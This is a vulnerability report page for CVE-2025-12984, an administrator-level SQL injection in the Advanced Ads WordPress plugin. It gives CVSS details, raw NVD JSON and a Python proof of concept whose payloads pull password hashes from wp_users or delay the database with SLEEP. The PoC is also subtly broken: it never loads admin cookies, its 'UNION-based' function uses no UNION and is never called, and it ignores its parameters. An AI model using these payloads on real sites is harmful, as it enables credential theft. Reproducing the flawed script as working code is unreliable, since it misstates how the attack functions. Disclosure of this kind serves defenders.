Security Vulnerability Report
中文
CVE-2025-12984 CVSS 4.9 MEDIUM

CVE-2025-12984

Published: 2026-01-17 07:16:01
Last Modified: 2026-04-15 00:35:42

Description

The Advanced Ads – Ad Manager & AdSense plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter in all versions up to, and including, 2.0.15 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Advanced Ads插件 <= 2.0.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-12984 PoC - SQL Injection in Advanced Ads WordPress Plugin # Target: WordPress site with Advanced Ads plugin <= 2.0.15 # Authentication: Requires Administrator-level access target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" admin_path = f"{target_url}/wp-admin" # Session with admin cookies session = requests.Session() def sql_injection_test(order_param): """Test for SQL injection via order parameter""" url = f"{admin_path}/admin.php?page=advanced-ads-placements" params = { 'order': order_param, 'orderby': 'title' } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: response = session.get(url, params=params, headers=headers, timeout=30) return response.status_code, len(response.text) except Exception as e: return None, str(e) def extract_admin_hash(order_param): """Extract admin password hash via UNION-based injection""" malicious_order = f"(SELECT GROUP_CONCAT(user_login,0x3a,user_pass) FROM wp_users LIMIT 1)" return sql_injection_test(malicious_order) def time_based_injection(order_param): """Time-based blind SQL injection""" # Sleep for 5 seconds if database is MySQL malicious_order = "1 AND (SELECT * FROM (SELECT(SLEEP(5)))a)" return sql_injection_test(malicious_order) if __name__ == "__main__": print("[*] CVE-2025-12984 SQL Injection Test") print(f"[*] Target: {target_url}") print("[*] Testing basic SQL injection...") status, length = sql_injection_test("1 ASC") print(f"[*] Normal query - Status: {status}, Length: {length}") status, length = time_based_injection(None) print(f"[*] Time-based injection - Status: {status}, Length: {length}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12984", "sourceIdentifier": "[email protected]", "published": "2026-01-17T07:16:00.987", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Advanced Ads – Ad Manager & AdSense plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter in all versions up to, and including, 2.0.15 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}, {"lang": "es", "value": "El plugin Advanced Ads – Ad Manager &amp; AdSense para WordPress es vulnerable a inyección SQL a través del parámetro 'order' en todas las versiones hasta la 2.0.15, inclusive, debido a un escape insuficiente en el parámetro proporcionado por el usuario y la falta de preparación suficiente en la consulta SQL existente. Esto hace posible que atacantes autenticados, con acceso de nivel de Administrador y superior, añadan consultas SQL adicionales en consultas ya existentes que pueden ser utilizadas para extraer información sensible de la base de datos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/advanced-ads/tags/2.0.13/includes/admin/class-placement-list-table.php#L254", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3429511%40advanced-ads&new=3429511%40advanced-ads&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/729e8a06-abaa-4468-8a80-1e5c6cbace92?source=cve", "source": "[email protected]"}]}}